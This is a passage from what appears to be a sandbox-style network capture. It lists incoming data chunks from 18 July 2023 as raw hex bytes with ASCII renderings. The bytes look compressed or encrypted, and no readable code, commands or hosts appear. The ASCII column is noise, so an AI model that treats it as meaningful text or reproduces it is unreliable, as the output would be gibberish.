0f 01 17 2b 9b Data Ascii: WrM\OoR,-MQj1QS5Xh<U60*grM_Azo>u4^//Sgt34V`AivQf<x-<040bYk:R{{b97\oUNB+JO0Z@By^Rp2(g40c$WPA5\i+
2023-07-18 15:27:10 UTC	720	IN	Data Raw: 98 82 3f 15 4b de 7c 4b 52 58 f1 de 4c 04 3e 58 2c e0 dc ba 16 0d bc ee f4 50 1c a7 ac 4d 51 f5 6f e0 ca 88 d1 fa 30 c7 be 4a 94 ee 97 e7 6b a3 9f a4 d7 e5 c0 c9 b5 92 56 a0 5f 16 d2 f8 04 d9 c6 da cd 53 10 d6 45 1a 41 67 b9 3d 70 00 26 66 b2 d4 39 14 dd a4 3a 6e f4 97 a1 0a 29 7b 98 d9 d8 c1 27 20 2e 7f 90 5b 30 5f ee f4 81 1c f2 b2 ae 68 d1 1e 46 61 fc 48 a1 31 37 c8 80 e0 8d 26 f7 a7 ea 9d 80 98 93 9d a5 0d ed d3 01 e5 1c 5d 16 14 a2 19 94 0e cd af b9 3a 68 d2 8b de 5f 6d 2a 93 27 12 74 a7 c8 7c 36 09 26 9b 05 f8 aa 20 7f ad 78 89 9c e7 b0 0e de 9c da b7 98 72 da d0 cd 5c 6d 87 a6 46 92 6d f6 75 b3 4c dc 89 7a ba fd 40 0c 70 37 22 31 db e0 cf 71 b3 78 c0 91 37 97 d8 2c 3d 7f 2d cf a9 8f 28 d0 bd 3c 59 1e e8 fe 79 f3 ab 31 3d d4 72 12 6e 22 ca a6 c6 35 Data Ascii: ?K\|KRXL>X,PMQo0JkV_SEAg=p&f9:n){' .[0_hFaH17&]:h_m*'t\|6& xr\mFmuLz@p7"1qx7,=-(<Yy1=rn"5
2023-07-18 15:27:10 UTC	736	IN	Data Raw: 0a e9 18 4e 32 a9 73 d7 01 56 98 3b 24 e7 0a f2 e1 95 17 e3 21 d9 13 ca 15 4a f1 22 17 86 f9 54 d1 e4 16 8d 77 41 aa b5 ce e0 07 69 5c 1b b0 ec a7 14 cd 38 18 bd 2b fe 5d 7d 0f a7 53 4b 74 93 f7 7f aa 12 bb e2 91 17 49 93 4c e4 4d f2 0e 87 81 47 15 8b fe 28 bc 8c 36 d3 8d dd d9 22 f4 af 5f 4f 14 e9 0c 5d 28 cc a1 7e e3 24 08 03 60 7f 56 85 fe f6 29 80 93 e3 c7 b1 39 44 d4 11 da c2 1b 2e c3 84 40 d7 c1 4d 23 1e fa 82 90 ee 33 d6 7d 99 21 37 11 99 6d ab 29 88 06 40 b8 84 73 c5 81 1f 61 31 ef d8 00 93 bb e6 1d c3 40 41 55 d3 25 ea 39 84 bc 9a 92 dc 08 f8 bf ba 9e 4c 6a 48 22 9d ed ea 1e 59 c6 ce 61 39 17 ce c2 a0 d8 2e 6d 0b 0f 24 ea 18 b7 81 12 55 69 05 e8 e5 0b 48 46 53 a2 fb 9f 56 d3 ba ae b4 61 07 94 13 12 32 76 47 54 83 8f ca 1b 9d 88 2f 65 dd 81 09 06 Data Ascii: N2sV;$!J"TwAi\8+]}SKtILMG(6"_O](~$`V)9D.@M#3}!7m)@sa1@AU%9LjH"Ya9.m$UiHFSVa2vGT/e
2023-07-18 15:27:10 UTC	752	IN	Data Raw: 47 48 71 0d 2c 51 15 c8 b0 b7 59 f0 f0 60 1d c9 c4 f5 c5 14 2f 4b 87 d5 1e 4d 50 87 8f e3 13 52 b1 a9 10 b2 b5 50 f9 14 96 fe 44 e3 cc cd ce 6e 57 f0 b6 cc 3a d5 d8 2b ab 68 bb 34 f3 0f 90 af 7f a8 5d 80 b3 08 5b 39 36 cd 0f 1e c5 f2 3c 28 af f6 48 93 f1 6d d1 b1 3d 76 ef 14 dd 2b 6f d1 b9 f2 51 b8 99 d5 ea 4f ed ec 04 2a d9 31 21 d0 6a 18 46 d1 6f f6 c0 66 f7 46 c3 3b 8d a1 de bd 9e bd df bb cb f4 94 04 7e 11 94 54 10 1b 54 4a c3 ff f2 87 b7 9b ba 2b 56 0e 35 c6 cd af 1a 0c 35 f4 41 3b a0 b4 48 c6 1d 4a e9 aa 7a 7d 5b 6d 0f 91 71 81 e4 fc 7f 4e 3c 8e ef c0 12 9b 8a f9 82 cd 55 9f 14 3d fb ac 48 c2 d1 9b d7 e5 f9 f7 ef 38 7a 09 52 0f 25 d4 1e b8 f3 d5 14 0e 02 d6 12 37 4d 9b 49 95 22 51 99 b6 ef 70 ad 0f 40 05 b6 4d e6 2b 02 6f 6f 77 cb 53 b5 ac d3 b6 87 Data Ascii: GHq,QY`/KMPRPDnW:+h4][96<(Hm=v+oQO*1!jFofF;~TTJ+V55A;HJz}[mqN<U=H8zR%7MI"Qp@M+oowS
2023-07-18 15:27:10 UTC	768	IN	Data Raw: 89 30 2c d4 02 02 d9 0f 70 e6 1c f1 b5 c6 86 ba 5e af e7 86 5a bb 32 e7 ab 00 c6 d0 7e 6c 65 4d 59 f8 59 97 fb 77 ae 53 00 4c 95 3b e3 dd 83 f9 8e 37 6a 1a 6a 5b f5 03 cb 23 32 e3 88 0f 57 27 42 ea c3 4f 71 0e df 4e 7e 74 7b 71 e4 29 a1 92 68 f7 c0 d1 48 ea 16 23 52 12 86 06 1d c4 c2 22 13 aa 9b 86 d6 84 b2 99 e4 ea a9 94 05 f2 78 93 63 05 75 68 5b 1f e7 a0 a4 54 cf e6 fe 86 7a 6d de 2a 86 36 e1 98 f2 47 98 dd e7 2d c9 50 29 09 19 b5 ae e6 4d 30 d8 ed fd 82 56 68 37 a9 72 ce 68 21 99 be d0 d1 66 5b 20 d9 c6 69 0f b3 d6 00 32 11 79 8d 91 0e d8 28 47 f3 58 cd 30 8f 09 f0 4e 67 28 58 c8 52 0f cc cf 25 90 c8 b1 ca 83 46 56 51 87 22 b4 6d 95 37 bb 6c 6f 7d 6b 68 91 ff 58 c3 10 ae 8f d6 26 ed 36 6f c9 3f 95 59 51 e8 df 2b 57 4d 17 56 9a 77 29 79 c0 43 28 ad b0 Data Ascii: 0,p^Z2~leMYYwSL;7jj[#2W'BOqN~t{q)hH#R"xcuh[Tzm*6G-P)M0Vh7rh!f[ i2y(GX0Ng(XR%FVQ"m7lo}khX&6o?YQ+WMVw)yC(
2023-07-18 15:27:10 UTC	784	IN	Data Raw: 62 e5 2a 04 84 fe d8 a0 0e a3 61 86 71 77 1d 59 e6 28 5e ce c4 86 b8 fd ff 6c b0 29 cf a7 69 ee 68 c4 7a b1 60 85 ed 1d 3e 99 96 36 79 d4 be 65 7e a7 b7 ee 6a e7 02 e9 c4 48 e7 cc 8d 1e d8 62 5a ee 13 02 75 64 8a a7 f0 19 f7 c1 2b 9a 27 75 c6 3a ef b2 c5 e4 35 c3 10 21 8e 5a 0b 29 68 51 bf 47 bd 88 c9 76 77 24 50 b2 5d a8 51 04 a9 61 86 ee 66 0a e3 23 c4 f6 54 bb dc ca 42 bd 78 6a 71 88 95 97 1b 99 06 1d 7c 2a 8c d5 30 2e 6f 0c 0e 02 ae 1a 6f 31 63 a4 91 70 31 d8 d4 14 f8 fe 20 38 3e f3 3b 96 fd 9b 58 96 88 bf 1e 88 c2 8e 8f c7 d7 a1 47 c1 56 24 8d fc 01 37 0e c9 32 a0 f4 4d 75 6d cd 3e 86 f2 c4 fa 98 98 85 18 6b 74 f6 91 6b e6 0c 5e 44 ca 9f 3e c3 f2 b7 e7 f7 0d 48 ef a1 ea b6 3f b2 41 a2 7d 10 bd fd 2f 45 bd e9 5b 0b d7 a1 73 76 26 58 9a b7 c0 f6 bb 3c Data Ascii: baqwY(^l)ihz`>6ye~jHbZud+'u:5!Z)hQGvw$P]Qaf#TBxjq\|0.oo1cp1 8>;XGV$72Mum>ktk^D>H?A}/E[sv&X<
2023-07-18 15:27:10 UTC	800	IN	Data Raw: f3 f5 d2 d8 79 51 41 87 8c 65 a1 15 57 39 28 88 59 2f 66 af aa 2f a2 98 83 83 49 4f 44 e1 96 fe 02 da 49 b5 5a f5 05 00 ca ac e1 10 85 b8 a7 9c ca 42 4f c2 fa d1 74 9e 74 32 dd 61 3d e3 21 eb 76 54 ac 18 da 9a 10 22 03 91 d6 3a 81 be 06 cf 3a 1f ad 46 7d e5 c5 0f 92 ef 8d 15 d4 cb 48 8a eb ec 28 3f 13 60 75 4e bc 9d 9a a6 d5 11 e5 38 29 7b ab a3 2f 77 ba 3a 3e a1 02 9b e4 85 b8 5f 79 70 27 dd 86 cc 44 7b 8b 9f 0c 66 6d 5e ad 05 10 9a 81 cc 33 48 b8 3d 5e e3 c3 cf 6a 63 d5 c8 63 f4 8a ce 1f 55 f6 a4 58 98 16 22 14 7c 42 90 52 5c 4d 13 40 da a3 3a d3 46 2d 7f 24 32 e4 9d 0e 93 3c 94 b4 7c d8 fb b4 bf 1c a2 cf 6a 70 f1 4e 99 9e bd ec d7 ae 90 89 a3 ea ed 9b 67 3c 01 fb e4 41 46 b1 27 28 a9 0a f5 bc c8 53 c7 e4 1b d5 f9 23 01 51 d7 ab 9b 7f 7e dc f2 ef d3 6e Data Ascii: yQAeW9(Y/f/IODIZBOtt2a=!vT"::F}H(?`uN8){/w:>_yp'D{fm^3H=^jccUX"\|BR\M@:F-$2<\|jpNg<AF'(S#Q~n
2023-07-18 15:27:10 UTC	816	IN	Data Raw: 6b 2a 27 4f 2a 06 55 da 4e 5d ba 4e 4e 4b 6b 0b 87 7b c5 5e 02 8d 9e ab 16 37 0e 22 c5 9e 7c 98 c6 f3 c4 cc bd c8 40 52 41 30 90 73 6c 67 7c a6 1c ae e7 f5 22 3e e4 aa 8f 34 ce e1 1b 7f 60 eb 67 7d cc 40 05 97 e3 f0 bc 0b c5 bb e9 10 5d 3a 89 46 77 5a ec a7 f8 d4 cb 34 0b 2c 26 80 22 a6 5b c6 3d 4b 4d 4a 7b b8 dc 69 4f 2b fb cd 11 6e 56 c0 05 29 12 5b dc ca c8 41 e6 0a c5 f9 41 e1 84 fe 95 68 be a8 8f 6f 87 61 90 dd 45 c5 b9 6b 62 32 5f 4c 89 3e bf af 11 04 70 cb 1d fb ee ff b0 7a e2 d7 85 dd 1e 43 5b 4a 62 eb a6 dc dd bc 94 69 5b 8d 95 40 63 f4 c2 50 b3 d6 be 57 1d e3 20 7f e2 81 b5 f8 a9 fa ea cf a5 98 4b 56 11 fb 74 0a ad 6c 9c f4 8b 55 fc 8a bb 9f 24 96 ca 81 4e 44 b5 72 42 b8 35 05 eb 03 8d 7b bf da 4a 90 fc 40 45 54 84 f7 f8 b5 4f 4f 79 cf ed df da Data Ascii: k'OUN]NNKk{^7"\|@RA0slg\|">4`g}@]:FwZ4,&"[=KMJ{iO+nV)[AAhoaEkb2_L>pzC[Jbi[@cPW KVtlU$NDrB5{J@ETOOy
2023-07-18 15:27:10 UTC	832	IN	Data Raw: 6e 3f 9c 87 f7 b3 11 e1 62 ca 8a bc df 4b bc 98 dc a4 22 fd d6 37 a0 39 02 2e 5e 7b 9c 17 96 1a 77 a7 64 0a 64 ae 87 d8 28 e1 60 16 d8 82 1f da 0c eb 3a ad 5d a2 2a 92 a3 89 a5 f0 17 ab cd c2 58 06 b1 82 33 15 c2 92 98 df a8 8e 24 aa f9 0e 40 9c 60 bf 58 08 85 6c ca 27 ef 29 9a 3e b4 b8 4b e4 6a e2 0e e1 60 4a ec 65 01 7b 99 f9 ec 19 0c ff 8f 14 a2 ac a8 23 b6 1a 1d 52 91 13 3f d8 90 ef 27 e6 12 71 ce cb a8 12 a5 8e 1e 7c f3 7f 56 c4 3b 03 db e8 38 a7 4e 71 bb 09 2b c9 04 a1 76 5c 80 c0 31 a5 14 3f c3 9e d8 f8 d9 80 a4 21 d3 f6 c0 52 78 d6 25 0b ac b6 e9 fd 7f f4 72 35 1e 66 fe a7 b0 35 d6 bc fd 6f 59 97 38 45 ea 80 1f f8 7d 3a 56 4b ad c2 c5 cd 14 e2 d5 2c 5d 31 1e bf d2 3d 94 23 e4 24 70 5b 6b bd 67 8f 28 55 2f ba 80 3a fc 38 45 26 7c 6a 47 86 20 87 4e Data Ascii: n?bK"79.^{wdd(`:]*X3$@`Xl')>Kj`Je{#R?'q\|V;8Nq+v\1?!Rx%r5f5oY8E}:VK,]1=#$p[kg(U/:8E&\|jG N
2023-07-18 15:27:10 UTC	848	IN	Data Raw: f3 ac 01 71 0f 9f 97 6d 9b f3 4b ce 28 72 ce 77 40 f4 a3 fe f8 e4 5c 76 3a bb 09 15 16 0f 1b 4a 7a c4 17 6a 82 e6 d5 42 38 a6 02 c5 92 56 f4 c3 b5 28 6d be 63 91 93 21 0f a0 f7 24 97 51 7b ba b3 fc 19 54 8b 2e b6 5c 79 be 7d 7a 3d b9 04 76 bf dc 55 57 08 d7 3f 24 5c 5c 38 d5 2b c0 5e 47 d5 8e 4e a2 52 c1 70 67 79 87 d8 29 6f c2 1c f7 cc 56 5d 2e d1 6a cd 8e d4 19 d3 bc 37 fd fe 46 6e 91 c2 96 92 ee a0 11 ea f6 cb 67 09 ea 16 16 01 0e 11 5f da 75 59 b9 7c f1 39 b7 9b 4d e1 04 b8 b2 73 8c 71 73 27 da 8a 8a e0 34 ee 5b ae c5 72 25 d8 f4 8b 28 67 82 b1 c7 44 02 56 da 23 87 e8 79 34 28 a9 1a 37 01 2e 7b fb 37 fc a3 97 dc 9a b7 19 9c 73 4d 70 f3 e9 9c 7d cb 5a 2a 27 90 a7 47 88 88 d2 d0 49 59 1a cb 9e 6a 0c cd 72 08 c4 0e da bc bf 62 ba 17 ab 57 5f 02 0d 65 28 Data Ascii: qmK(rw@\v:JzjB8V(mc!$Q{T.\y}z=vUW?$\\8+^GNRpgy)oV].j7Fng_uY\|9Msqs'4[r%(gDV#y4(7.{7sMp}Z*'GIYjrbW_e(
2023-07-18 15:27:10 UTC	864	IN	Data Raw: ca 18 15 2c c6 d8 18 3c d9 2d 09 62 5d 21 d4 ce 39 6c 1e b8 11 72 34 73 de f8 ab 06 ac 45 18 71 dc 81 e9 6c be c2 44 48 05 14 af 98 ca e1 f9 0e 83 83 d3 47 5e 3f 17 19 55 c8 6b 16 e5 f8 24 c4 ff f3 6f 9d 38 a0 25 03 7b 22 3c 1d 94 e7 2b 42 92 75 18 d8 9f dc 98 a1 15 c8 03 4e 0e c7 ed 28 9f b9 a7 45 36 88 cf f1 47 d4 9c 71 75 da bc c1 7b 7f 1b e3 6b 4d a7 8b 36 84 17 c4 c0 46 b9 b8 62 ea 17 0f cd 46 99 fa b3 0b 67 4f 82 b0 e3 33 5b 18 57 43 6c 18 7b 07 51 41 1b 32 3c c5 43 7d d0 8f b7 f3 6a 1d 51 fb d5 f0 55 bc 5c ed 92 e7 30 b4 27 6c ce dc dc 23 a1 16 4b 51 e8 59 bf 84 6a cc 59 cd 2f 1d bf a8 27 af b4 f9 4e ad bb db 1a 8c 33 fd ba 48 6e 94 cd e8 d3 2e b4 cc 3f 32 0e 25 b5 1c ba ac d7 79 1d e1 eb 59 2d bf b2 c8 60 13 a2 bf 17 b5 52 2c 55 3c aa dd 62 c9 77 Data Ascii: ,<-b]!9lr4sEqlDHG^?Uk$o8%{"<+BuN(E6Gqu{kM6FbFgO3[WCl{QA2<C}jQU\0'l#KQYjY/'N3Hn.?2%yY-`R,U<bw
2023-07-18 15:27:10 UTC	880	IN	Data Raw: 61 27 42 62 2c dc f5 d1 b0 fd 11 03 80 dc ef 49 77 37 9f 0a 27 67 be 96 d3 24 f1 fe dd cf bf bf 5f 92 eb 1d 24 16 d7 78 36 0f 2d a1 23 d2 4d cb 14 1b b1 0a f8 1f 4b 0b 05 32 24 3c 76 75 60 ab 20 a7 8f 6f 5a 21 34 f2 67 50 f4 07 95 90 e8 70 ea f7 a5 3a ae 28 50 56 3a a8 01 df bd 43 07 4c de bd b7 2a 2a 34 d0 3d 37 5c 01 f2 59 9e 9f aa 44 7e b5 d6 c5 1e 33 a3 33 15 7e 9c d0 ec 29 52 6f 2c 46 54 d3 4a 65 ab 5e 28 64 02 5f f6 b3 6d 5d 8f 58 1a 24 1c 76 00 6a 3d 74 4e fe dc 18 a1 43 95 fd e8 81 a4 6d 1d 16 3f 03 83 1a dd 0b 57 a7 66 80 53 46 c9 4f 03 5c c7 0e 35 72 0b 63 ee ea 7e f6 00 e8 d9 26 5c e9 2f 70 dc e5 a1 86 1e 04 da f5 0b ac ee 30 75 4a a7 08 d5 d5 38 a3 6a 8c da 28 b6 b7 6c 02 65 4e 53 0e bd af 34 72 36 09 9b 9e c0 74 01 2a 80 38 b5 91 00 26 a3 fd Data Ascii: a'Bb,Iw7'g$_$x6-#MK2$<vu` oZ!4gPp:(PV:CL*4=7\YD~33~)Ro,FTJe^(d_m]X$vj=tNCm?WfSFO\5rc~&\/p0uJ8j(leNS4r6t8&
2023-07-18 15:27:10 UTC	896	IN	Data Raw: 96 cc d5 84 e3 7f a3 56 09 6e 6d 73 f0 06 1b 0c d0 c8 b8 07 e5 2e 51 80 82 88 33 de 11 4e db 5c 27 30 a4 b3 cf 32 44 e8 f9 12 54 ba 8a b4 04 60 96 c1 c0 ff 49 e2 56 da aa 5d fa 92 59 01 3d d1 e3 1a 64 0f 62 74 9c dd e4 53 f6 87 db 34 13 eb c6 e0 5d 4e 52 8c 56 4d bb f3 8b 96 4c c8 88 0b 47 81 ee 9d ac 6d fb 19 b2 7f a6 70 bf f5 10 40 b4 19 5c 15 45 46 59 71 32 95 8f cb 01 51 06 e7 0b ac b3 f5 a4 cc 71 ca c8 88 bd 45 c0 94 7c 9a 5d 22 10 3b ee 02 ae db 51 48 44 03 32 9a 7b 03 e1 7c 4b 44 df 2a 22 53 93 19 fa 90 78 13 e8 60 72 bc ec 10 25 13 2e 39 bc 36 51 fb 42 01 ab 10 ad cd 9f fd ed 2d 33 b0 c4 53 07 19 f3 17 91 79 f2 81 61 7f 60 12 67 a4 cc 5e a2 96 37 a5 12 0f f7 13 53 62 23 ea 8f 08 a4 6e c2 bb 60 27 be 8c f9 79 c9 1e 8b 0f 89 3e 09 41 32 86 2a 95 9f Data Ascii: Vnms.Q3N\'02DT`IV]Y=dbtS4]NRVMLGmp@\EFYq2QqE\|]";QHD2{\|KD"Sx`r%.96QB-3Sya`g^7Sb#n`'y>A2
2023-07-18 15:27:10 UTC	912	IN	Data Raw: 50 21 b7 6a f2 a8 a5 2f 1b 72 42 b9 27 d7 75 a4 66 ec a9 c2 be 1b 58 3d 47 09 f3 c9 26 c5 58 9f 08 ea 70 e8 e9 f5 c5 e7 2e 84 10 2e 0b 89 3a c9 1b 9c 82 c4 ff 26 c4 ec 91 97 45 30 7a 63 24 22 29 51 60 6b c4 32 9f 81 58 05 11 4e 07 7f c4 08 b1 6b af 98 05 08 f7 b6 99 75 f9 0a a4 03 14 61 66 55 6c 5a 41 74 f8 ad 33 ab 52 30 a3 f7 2b d2 c8 e1 95 07 72 4e 32 66 5a 21 90 ad b5 46 13 08 ba 9e 7f b6 ce 7e 1f 30 17 1e bd 8b 94 90 0a 3b b1 07 ac 3a 01 fc 4f 16 b6 8f ef 4f 24 33 57 7f 1e bd 71 db d3 aa b8 c9 80 b8 39 07 7b d2 a6 59 43 ec fa e0 ea cc 4a a0 6d ed 2f 8b 9a fd e6 94 15 63 0e 21 62 75 44 8e 6b 6c 2e fd 9c 27 89 10 71 92 8c 3a 79 70 f8 2c 1e 20 05 36 2b 13 0a 40 b5 1c f5 fe fa 46 f6 c3 c6 e5 c7 94 0d 58 e1 98 3f 08 8c fa 5a 2c dc 16 71 9f be 49 2c 47 47 Data Ascii: P!j/rB'ufX=G&Xp..:&E0zc$")Q`k2XNkuafUlZAt3R0+rN2fZ!F~0;:OO$3Wq9{YCJm/c!buDkl.'q:yp, 6+@FX?Z,qI,GG
2023-07-18 15:27:10 UTC	928	IN	Data Raw: 72 eb 9f 38 ce 53 77 60 18 c9 c2 84 fb 2a 40 87 b4 13 ec da 30 56 2f 67 7f f6 63 3c 64 8a d1 5f 5e 7e b0 4c 0d 2e f6 9a 5c f5 d6 14 fc cf 91 13 5b 3c 00 70 e6 c8 fc a9 1c 2f 13 63 34 42 34 1d 9d 0c a8 c8 af 62 f8 4a b3 f0 2e 3c fd 6a 77 45 5e f3 00 7c ab 32 9e e0 24 56 37 56 7a 04 8d 81 64 34 df 47 a5 25 dd 40 3f a4 55 e6 bc c6 39 27 41 61 f3 01 f9 7f 2c 45 3a 93 29 fa 38 a5 d9 ae 9d a6 c4 c7 4e 93 c4 8a 69 01 c6 b4 0d e4 2b 10 c8 4a 58 95 a6 f7 fd eb ed 52 78 f0 82 63 f2 5f 40 0c f2 ca a2 0a 69 2f 54 8a 15 35 c6 ae 9c e6 33 70 5e 14 0a db 21 61 b2 24 6b a7 b3 ab 1f 5c 68 bf b9 22 0d 7c 88 14 2e db 02 a5 6a 09 0a 72 00 45 44 14 70 95 2d 1b 90 e4 b4 64 15 09 da c4 e3 b0 8d 88 ef 41 e1 cc 45 55 da 8f 55 53 7e a3 8a 0e 17 9d 44 1e 35 8f 04 2c db d9 87 8a 50 Data Ascii: r8Sw`*@0V/gc<d_^~L.\[<p/c4B4bJ.<jwE^\|2$V7Vzd4G%@?U9'Aa,E:)8Ni+JXRxc_@i/T53p^!a$k\h"\|.jrEDp-dAEUUS~D5,P
2023-07-18 15:27:10 UTC	944	IN	Data Raw: ca c5 83 9e b0 62 af d6 b6 ad 91 f4 17 82 e4 d5 76 97 c4 3f 65 c1 f0 68 5e 42 91 db 44 b1 9b c3 a8 5c 32 f4 c6 26 c0 e5 0f c0 ee 97 2b 67 a1 67 3d 3d 7f 52 95 11 52 61 c1 e3 47 f1 61 e2 89 24 89 db d3 98 c1 c7 ab 52 58 21 c8 04 9d db 7a 84 d0 bd 70 6a ec 36 99 ef fd c9 95 65 70 2c 39 d2 67 8e b0 f0 0b a5 42 6a 18 ed cd 2c 35 28 9d 41 6c a0 55 79 f4 96 75 04 04 1a 96 37 c4 15 12 d0 29 05 82 1e 2b 0e f9 00 6a 8c ca 9e 4f e3 60 79 6f c9 43 f2 13 38 c7 52 6b 3b 29 44 3d aa 51 f6 e2 56 06 a3 26 6e de 23 33 d3 f2 a5 24 14 69 2b 1d a7 0a 6e 86 d1 16 e7 27 00 67 40 13 a7 31 e6 5b 9a 0f 95 82 1b 4b 3a b0 31 ae 65 21 1b b7 a7 ed 53 69 64 db 79 91 95 ed 91 9f 40 d2 de c8 f9 37 b4 0a 40 2f 50 68 d5 95 f2 cc ba fb ba 48 7f 3e 42 fd 54 85 e8 fc 2f 86 07 c1 85 12 36 de Data Ascii: bv?eh^BD\2&+gg==RRaGa$RX!zpj6ep,9gBj,5(AlUyu7)+jO`yoC8Rk;)D=QV&n#3$i+n'g@1[K:1e!Sidy@7@/PhH>BT/6
2023-07-18 15:27:10 UTC	960	IN	Data Raw: fc 0d 08 c8 c5 7d e9 ca ba eb 1a e6 c4 56 f5 19 ad ee c0 38 3f f7 6c dc 13 53 ca 74 07 71 8b 0f 7f 18 32 b5 03 5a 0a 4f 3d 8b 7a 36 5b 1a 13 29 8d 5b d7 70 34 90 ca 48 23 ab 29 21 b5 78 97 bb 4f ba d4 9d 63 cf ff af c7 54 d4 84 d1 48 d9 d2 8b 6e 1b 22 28 1a 2a a6 df be 53 5c ec 9c a7 b3 e5 99 09 f3 64 c2 2b f1 1d 09 35 1d 3b 44 1e 6c 02 52 f5 6c cb 0b 99 af 80 d7 f7 48 2c c9 3e ab b7 53 65 7e 68 40 a2 e4 65 be a3 6a 48 68 18 e3 71 df 52 ff c0 5d 8c f1 94 09 d3 ed c8 a8 5d 07 61 35 69 34 8a 99 cc c6 ba e1 70 92 03 a3 1d c6 59 79 04 f6 92 ee 6d 75 9f c4 6d a1 31 12 33 aa 91 6d 3a 69 64 90 05 70 9b 5f 1c 77 09 be 62 63 09 7d 2c 8f 13 73 cd 91 dd 53 d4 c8 89 68 d7 68 e9 cb bb fd 77 62 dd f3 ca c3 1d 21 15 dd a8 f7 29 0a 45 88 99 3d b3 80 f5 99 cf 9a dd d6 ae Data Ascii: }V8?lStq2ZO=z6[)[p4H#)!xOcTHn"(*S\d+5;DlRlH,>Se~h@ejHhqR]]a5i4pYymum13m:idp_wbc},sShhwb!)E=
2023-07-18 15:27:10 UTC	976	IN	Data Raw: 33 2d a0 d1 86 a1 96 c8 0e 9a 05 c2 56 77 5f 6b ae 73 86 00 64 2a d1 25 26 dc 3c d9 d1 e2 a1 da 03 51 2c 5f 16 24 4a 7d 79 bb 88 1f 32 b3 ca 46 39 9f ff 9d fa a5 c8 58 34 c4 39 76 87 45 e6 c1 a6 26 18 fe 1e d6 29 6d 08 1e e8 6e 2a 7b d5 2b b3 c9 0a 7e eb 7b ba bb 8b 8b 53 57 7a d9 4a 8a ed 45 9d f8 3b f7 37 63 8c 09 9e 6f 08 f1 78 d4 61 9e f2 1f f3 23 0c 2a 31 16 a5 4a 35 45 00 7c 01 e7 5c 84 cf d5 2f 60 97 c4 bb 79 1b 1c a0 d4 b5 00 09 85 d7 bf 3c 95 da 06 52 e3 c0 4d da 87 81 05 53 04 c1 ce 16 f0 04 01 bc cc 57 20 39 ae 0f 79 7f eb c8 19 00 ae 59 f9 6e 2d 33 52 f2 e5 8b b7 cd e6 a1 ff 55 5c 70 e4 6f 08 1a 2d b0 3f c6 5d 70 06 d2 e2 f4 f2 67 99 8e 96 4e 65 cc f1 7e 95 6a 63 4b 75 0a 4f 55 0d 80 0e 8b 34 97 1c bd e3 f4 03 7c 8d 3f 2e b3 62 11 6a f4 bf 53 Data Ascii: 3-Vw_ksd%&<Q,_$J}y2F9X49vE&)mn{+~{SWzJE;7coxa#*1J5E\|\/`y<RMSW 9yYn-3RU\po-?]pgNe~jcKuOU4\|?.bjS
2023-07-18 15:27:10 UTC	992	IN	Data Raw: 9a ff 67 31 da f3 c5 eb 3b a6 d0 2e 5a f8 07 02 99 97 bf 36 e9 bc 36 37 82 6a bd e1 67 dc 62 62 a7 e2 7b 70 20 42 16 85 33 5f 52 50 7d 4f 48 ec 9a 5c d9 f1 09 65 aa d3 b6 79 86 55 fc de ed f7 d6 3b 3a d4 18 43 92 ac 9e 2b 86 82 aa f1 5f 97 a1 17 88 f9 31 45 e1 6c 56 ab b3 b8 01 8b fb ee e1 83 00 9c 7b 7a 2f 13 64 db 80 b5 f5 14 6b a9 71 68 dc 4d 29 6a d9 2c 6c be 5f a7 b0 07 a2 ea 2b 8a 62 be f5 45 97 eb 87 cc 35 34 31 5f 00 9b fa f0 d9 92 ae 8b b4 87 9d 40 b0 62 af c7 1f 33 e1 8a c4 f9 ce b4 20 90 95 d3 4b 89 1b d1 f2 cb 09 37 86 6c f6 44 76 08 15 e1 40 43 fd cf 1d 26 50 f7 e3 4b 3e d8 5a 90 b7 93 58 10 36 27 ba ed e2 30 0c 9f 70 52 62 50 47 eb e4 9e fd 01 0f 27 7e fe 20 d8 8c c0 fe b2 f6 37 24 d0 a4 82 4a 3d 8f 79 1f 74 3e 1d da 30 d6 3d a4 91 3c f1 8f Data Ascii: g1;.Z667jgbb{p B3_RP}OH\eyU;:C+_1ElV{z/dkqhM)j,l_+bE541_@b3 K7lDv@C&PK>ZX6'0pRbPG'~ 7$J=yt>0=<
2023-07-18 15:27:10 UTC	1008	IN	Data Raw: 36 a3 a3 87 0d 38 cd 70 76 2f 73 94 43 0c 80 2f 50 83 9c 80 a1 a1 ec d2 28 b5 fb ba 93 a4 c9 75 f1 fd e7 e2 e6 f1 48 3d 6d 71 27 9d 9e 99 dd 0b 48 e5 a4 64 6f 29 92 75 37 1a fd 30 f9 87 58 60 81 ec 43 4c f7 e9 87 9a 83 f5 38 70 7a 5e cb 3c e9 fb 9a 96 0c 53 eb 2e c4 73 54 9d 51 46 21 2a 07 15 39 b3 74 63 07 32 26 96 ce df 19 57 e8 6c 7a 2f 05 07 aa 38 33 86 1a 9e d8 e6 e7 a9 86 94 5e f5 94 3f f7 5f ce 96 4f 92 0c 2c 2d 9c c5 4a e2 63 1d 2a 0c d9 90 9a f3 7a 9c 43 96 a3 81 7b 0e 0f 2b a5 87 7c 87 31 36 d0 d3 c6 4c 90 a9 06 aa d5 e6 42 3c 9d b4 5b f8 ba 95 c1 4b 92 c4 c8 97 30 15 d8 f8 e8 15 02 41 86 a5 76 87 d8 35 49 96 6a a4 b1 3f b1 d9 09 15 40 48 e0 05 2e ac 89 87 86 5b 75 6c 7e ca 25 71 12 55 29 07 4b 08 55 98 f6 0c d3 a0 b4 43 05 d2 7f 1e 98 e5 86 ef Data Ascii: 68pv/sC/P(uH=mq'Hdo)u70X`CL8pz^<S.sTQF!9tc2&Wlz/83^?_O,-JczC{+\|16LB<[K0Av5Ij?@H.[ul~%qU)KUC
2023-07-18 15:27:10 UTC	1024	IN	Data Raw: a9 6e 79 71 b0 6d 34 bc cd fe db 05 a4 c0 ab 4d a9 4a 4b 4a 74 06 df 7f 59 26 04 be 25 b8 02 96 2f 0b 09 83 2e 89 21 9d a3 8b 90 0b 90 c6 11 d6 68 72 3a a4 50 34 d3 19 43 a0 1a 0e 9f 41 8d b7 df 80 f8 dc bf 34 9e da 37 63 b4 52 67 28 bb 3c 02 56 ab 05 a1 42 6c 8e 80 70 c1 a5 47 38 37 49 51 e1 ec cc 5d e0 f8 2d 95 31 b0 8c 2c 21 a4 f4 cc 36 e0 c5 da f2 da 40 73 1f 40 e5 fe df 79 f8 ed c9 b1 4d 34 be dc 66 dc 9e 6f 5c ae 3e 52 bf f8 58 56 d5 73 65 93 04 c0 c6 ea be c6 5d ec 5d 73 ad d7 14 cf 9e f1 15 f4 e0 3c 60 c3 05 78 4d ad f0 7b 10 94 83 30 26 1b 56 81 b7 77 66 ec ac 20 cf 34 c7 ae 4f cf 63 f8 44 ed 08 2f 26 51 72 81 d1 8c 54 78 9e 62 6a 21 6f 53 9e f1 77 87 26 